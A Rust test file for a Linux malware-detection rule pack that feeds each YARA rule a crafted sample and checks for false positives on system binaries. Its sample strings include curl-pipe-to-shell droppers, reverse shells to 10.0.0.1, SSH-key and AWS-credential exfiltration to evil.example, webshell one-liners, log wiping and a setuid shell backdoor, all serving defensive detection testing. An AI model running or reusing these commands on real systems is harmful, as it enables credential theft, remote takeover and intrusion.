//! Regression tests for the Hound Linux threat pack
//! (`crates/hound-defs/rules/hound-linux.yar`).
//!
//! The pack ships through the signed rules channel rather than compiled
//! into the binary, so these tests are its safety net: they compile it
//! under the real engine, prove every rule still fires on a crafted
//! sample of the thing it names, and re-run the goodware gate that keeps
//! it from eating a system binary. A rule that stops detecting, or starts
//! matching real files, fails the build here rather than in the field.

use std::path::PathBuf;

fn pack_source() -> String {
    // The pack lives in the sibling hound-defs crate.
    let path = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
        .join("../hound-defs/rules/hound-linux.yar");
    std::fs::read_to_string(&path)
        .unwrap_or_else(|e| panic!("reading {}: {e}", path.display()))
}

fn compiled() -> yara_x::Rules {
    let src = pack_source();
    let mut c = yara_x::Compiler::new();
    c.add_source(yara_x::SourceCode::from(src.as_str()).with_origin("hound-linux.yar"))
        .expect("the threat pack must compile under yara-x");
    c.build()
}

fn hits(rules: &yara_x::Rules, bytes: &[u8]) -> Vec<String> {
    let mut sc = yara_x::Scanner::new(rules);
    sc.scan(bytes)
        .unwrap()
        .matching_rules()
        .map(|r| r.identifier().to_string())
        .collect()
}

/// A minimal ELF header so ELF-anchored rules can fire on a crafted body.
fn elf(body: &[u8]) -> Vec<u8> {
    let mut v = vec![0x7f, b'E', b'L', b'F'];
    v.extend_from_slice(&[2, 1, 1, 0]);
    v.extend_from_slice(&[0u8; 56]);
    v.extend_from_slice(body);
    v
}

#[test]
fn the_pack_compiles_and_has_the_rules_we_think_it_does() {
    let rules = compiled();
    let count = rules.iter().count();
    assert!(count >= 30, "expected the full pack, compiled {count}");
}

#[test]
fn every_rule_fires_on_a_sample_of_what_it_names() {
    let rules = compiled();

    // (rule identifier, a crafted sample that must trigger it).
    let cases: &[(&str, Vec<u8>)] = &[
        (
            "Linux_Coinminer_XMRig_Config",
            elf(b"stratum+tcp://pool.example:3333 donate-level randomx \"coin\":"),
        ),
        (
            "Linux_Coinminer_XMRigCC",
            elf(b"XMRigCCServer control_command cc-client"),
        ),
        (
            "Linux_Coinminer_Generic_Pool",
            elf(b"stratum+tcp:// pool.minexmr.com worker"),
        ),
        (
            "Linux_Bot_Mirai",
            elf(b"/dev/watchdog GETLOCALIP listening tun0 botnet"),
        ),
        (
            "Linux_Bot_Gafgyt",
            elf(b"/bin/busybox TCP flood UDP flood GETLOCALIP HTTPFLOOD"),
        ),
        (
            "Linux_Bot_Tsunami",
            elf(b"PRIVMSG TSUNAMI GETSPOOFS PAN <target>"),
        ),
        (
            "Linux_Backdoor_XorDDoS",
            elf(b"/lib/libudev.so rootkit md5= hostname cat /proc/net/dev"),
        ),
        (
            "Linux_Backdoor_TinyShell",
            elf(b"tsh RUNSHELL GET_FILE PUT_FILE"),
        ),
        (
            "Linux_Backdoor_Rekoobe",
            elf(b"/tmp/.X11-unix/ d[%d] /proc/%d/cmdline HISTFILE"),
        ),
        (
            "Linux_Backdoor_BPFDoor",
            elf(b"/var/run/haldrund.pid /dev/shm/kdmtmpflush hald-addon-volume"),
        ),
        (
            "Linux_Rootkit_Diamorphine",
            elf(b"diamorphine module_hide hacked_getdents is_invisible"),
        ),
        (
            "Linux_Rootkit_Reptile",
            elf(b"reptile magic_prefix hide_pid /reptile/reptile_shell"),
        ),
        (
            "Linux_Rootkit_Bedevil",
            elf(b"bdvl shell_pass hidden_port ldpreloadhijack"),
        ),
        (
            "Linux_Rootkit_Preload_Config",
            b"/dev/shm/.libhide.so\n".to_vec(),
        ),
        (
            "Linux_Ransom_RansomEXX",
            elf(b"!NEWS_FOR_EXX_COMPANY! .ransomexx encrypt_file mbedtls_"),
        ),
        (
            "Linux_Ransom_DarkSide_ESXi",
            elf(b"esxcli vm process kill README .onion encrypted by"),
        ),
        (
            "Linux_Ransom_Note_Generic",
            b"All your files are encrypted. Contact us at abcdefghij234567.onion to decrypt your files.".to_vec(),
        ),
        (
            "Linux_Webshell_JSP_Eval",
            b"<%@ page %> <% Runtime.getRuntime().exec(request.getParameter(\"c\")); %>".to_vec(),
        ),
        (
            "Linux_Webshell_ASP_Eval",
            b"<% eval(Request(\"cmd\")) %>".to_vec(),
        ),
        (
            "Linux_Webshell_PHP_Obfuscated",
            b"<?php $_GET['x']($_POST['y']); ?>".to_vec(),
        ),
        (
            "Linux_Webshell_Python",
            b"import cgi\nf=cgi.FieldStorage()\nos.system(f.getvalue('cmd'))\n".to_vec(),
        ),
        (
            "Linux_Webshell_Perl",
            b"#!/usr/bin/perl\nuse CGI;\nmy $c=param('cmd');\nsystem($c);\n".to_vec(),
        ),
        (
            "Linux_Webshell_C99_R57",
            b"<?php /* c99shell */ $x='FilesMan'; echo 'r57shell'; ?>".to_vec(),
        ),
        (
            "Linux_Dropper_CurlPipeSh",
            b"#!/bin/sh\ncurl -s http://evil.example/x | sh\n".to_vec(),
        ),
        (
            "Linux_Dropper_TmpChmodExec",
            b"#!/bin/sh\nwget http://evil/x -O /tmp/x\nchmod +x /tmp/x\n/tmp/x\n".to_vec(),
        ),
        (
            "Linux_Stealer_SSHCredHarvest",
            b"#!/bin/bash\ntar c ~/.ssh/id_rsa ~/.ssh/known_hosts | curl -T- http://evil/\n".to_vec(),
        ),
        (
            "Linux_Malware_BashHistory_Exfil",
            b"#!/bin/bash\ncat ~/.aws/credentials | curl http://evil.example/x\n".to_vec(),
        ),
        (
            "Linux_ReverseShell_DevTcp",
            b"#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n".to_vec(),
        ),
        (
            "Linux_ReverseShell_Interpreter",
            b"import socket,subprocess\ns=socket.socket()\ns.connect((\"10.0.0.1\",4444))\nsubprocess.call([\"/bin/sh\"])\n".to_vec(),
        ),
        (
            "Linux_Malware_EmbeddedElf_B64",
            b"#!/bin/sh\necho f0VMRgIBAQ... | base64 -d > /tmp/x\n".to_vec(),
        ),
        (
            "Linux_Malware_HistoryTamper",
            b"#!/bin/bash\nunset HISTFILE\nrm -f /var/log/wtmp\n".to_vec(),
        ),
        (
            "Linux_Malware_Persistence_CronDownload",
            b"*/5 * * * * root curl -s http://evil/x | bash\n".to_vec(),
        ),
        (
            "Linux_Malware_LdPreloadEnvInject",
            b"#!/bin/sh\nexport LD_PRELOAD=/dev/shm/.evil.so\n".to_vec(),
        ),
        (
            "Linux_Malware_SetuidBackdoor_Script",
            b"#!/bin/sh\ncp /bin/sh /tmp/.rootsh\nchmod 4755 /tmp/.rootsh\n".to_vec(),
        ),
    ];

    let mut missed = Vec::new();
    let mut seen = std::collections::HashSet::new();
    for (rule, sample) in cases {
        seen.insert(rule.to_string());
        let matched = hits(&compiled(), sample);
        if !matched.iter().any(|m| m == rule) {
            missed.push(format!("{rule}: sample matched {matched:?} instead"));
        }
    }
    assert!(missed.is_empty(), "rules that did not fire:\n  {}", missed.join("\n  "));

    // Every rule in the pack must have a positive sample above — a rule
    // nobody tests is a rule that can silently rot.
    let mut untested: Vec<String> = compiled()
        .iter()
        .map(|r| r.identifier().to_string())
        .filter(|id| !seen.contains(id))
        .collect();
    untested.sort();
    assert!(untested.is_empty(), "rules with no positive sample:\n  {}", untested.join("\n  "));
}

#[test]
fn a_document_about_malware_is_not_malware() {
    // The recurring incident: a threat-intel report / AI transcript that
    // quotes the very strings the rules key on. The anchors exist for
    // exactly this. A plain prose document naming these families and
    // techniques must stay clean.
    let rules = compiled();
    let doc = "\
        This report covers Mirai, Gafgyt and XorDDoS. Mirai brute-forces \
        Telnet and reports via GETLOCALIP; XorDDoS drops /lib/libudev.so. \
        Analysts should watch for stratum+tcp:// pool URLs (donate-level, \
        rig-id) that indicate XMRig, for reverse shells like \
        'bash -i >& /dev/tcp/host/port 0>&1', and for c99shell / r57shell \
        webshells. Diamorphine and Reptile are common LKM rootkits.\n"
        .repeat(50);
    let h = hits(&rules, doc.as_bytes());
    assert!(h.is_empty(), "a document discussing malware must stay clean: {h:?}");
}

#[test]
fn the_pack_does_not_flag_system_binaries() {
    // The gate the builder enforces, kept as a test so it also runs in CI.
    // Skipped where there is nothing to scan (a minimal container).
    let rules = compiled();
    let mut scanner = yara_x::Scanner::new(&rules);
    let mut checked = 0usize;
    let mut failures = Vec::new();
    for dir in ["/usr/bin", "/bin", "/usr/sbin"] {
        for entry in std::fs::read_dir(dir).into_iter().flatten().flatten() {
            let path = entry.path();
            let Ok(md) = std::fs::symlink_metadata(&path) else { continue };
            if md.is_symlink() || !md.is_file() || md.len() > 32 * 1024 * 1024 {
                continue;
            }
            let Ok(bytes) = std::fs::read(&path) else { continue };
            checked += 1;
            if let Ok(res) = scanner.scan(&bytes) {
                for m in res.matching_rules() {
                    failures.push(format!("{} -> {}", path.display(), m.identifier()));
                }
            }
        }
    }
    if checked < 50 {
        eprintln!("threat-pack goodware gate: only {checked} binaries readable — not meaningful, skipping");
        return;
    }
    assert!(
        failures.is_empty(),
        "{} false positive(s) across {checked} system binaries:\n  {}",
        failures.len(),
        failures.join("\n  ")
    );
    eprintln!("threat-pack goodware gate: {checked} system binaries, 0 false positives");
}